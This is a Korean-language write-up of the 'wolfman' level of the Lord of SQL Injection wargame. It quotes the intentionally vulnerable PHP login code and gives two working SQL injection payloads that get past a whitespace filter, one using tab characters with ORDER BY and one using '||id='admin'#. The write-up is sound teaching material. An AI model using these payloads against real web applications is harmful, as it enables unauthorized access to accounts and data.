Contents #
Problem Description and Analysis #
본 문제는 다음과 같이 제시된다[1]:
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
제시된 문제를 살펴보면 공백 문자를 필터링하고 있음을 알 수 있다. 그리고 query의 실행 결과로부터 한 행을 읽어들였을 때 id field의 값이 admin이면 문제가 풀림을 확인할 수 있다.
Exploit #
SQL Injection payload 중 공백 문자 필터링을 우회하는 방법은 이미 여러가지가 알려져 있으며, 그 중 대표적인 것은 탭 문자를 활용하는 것이다.
그리고 제시된 문제로부터 문제의 DB에는 id field가 guest와 admin인 records가 있음을 알 수 있다. 여기서 만약 records를 오름차순으로 정렬했을 때 admin이 맨 앞에 위치한다면, mysqlfetcharray()가 return한 array의 id는 admin에 mapping되어 있을 것이다. 이는 다음과 같이 확인해볼 수 있다:
pw=-1%27%09or%09%271%27=%271%27%09order%09by%09id%09asc--%09
위 값을 pw parameter 값으로 하여 문제에 request를 전송하면 문제가 해결됨을 알 수 있다.
위 방법은 문제를 해결하지만, 특정 상황을 가정해야만 한다. 이러한 가정 없이 문제를 푸는 방법 또한 존재하며, 오히려 이 방법이 일반적인 풀이인 것으로 보인다. 그 payload는 다음과 같다[2]:
pw='||id='admin'#
References #
- "wolfman," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 07, 2024].
- msh1307, "LORD OF SQL INJECTION WOLF MAN 풀이". [Online]. Available: https://msh1307.tistory.com/32, [Accessed Mar. 07, 2024].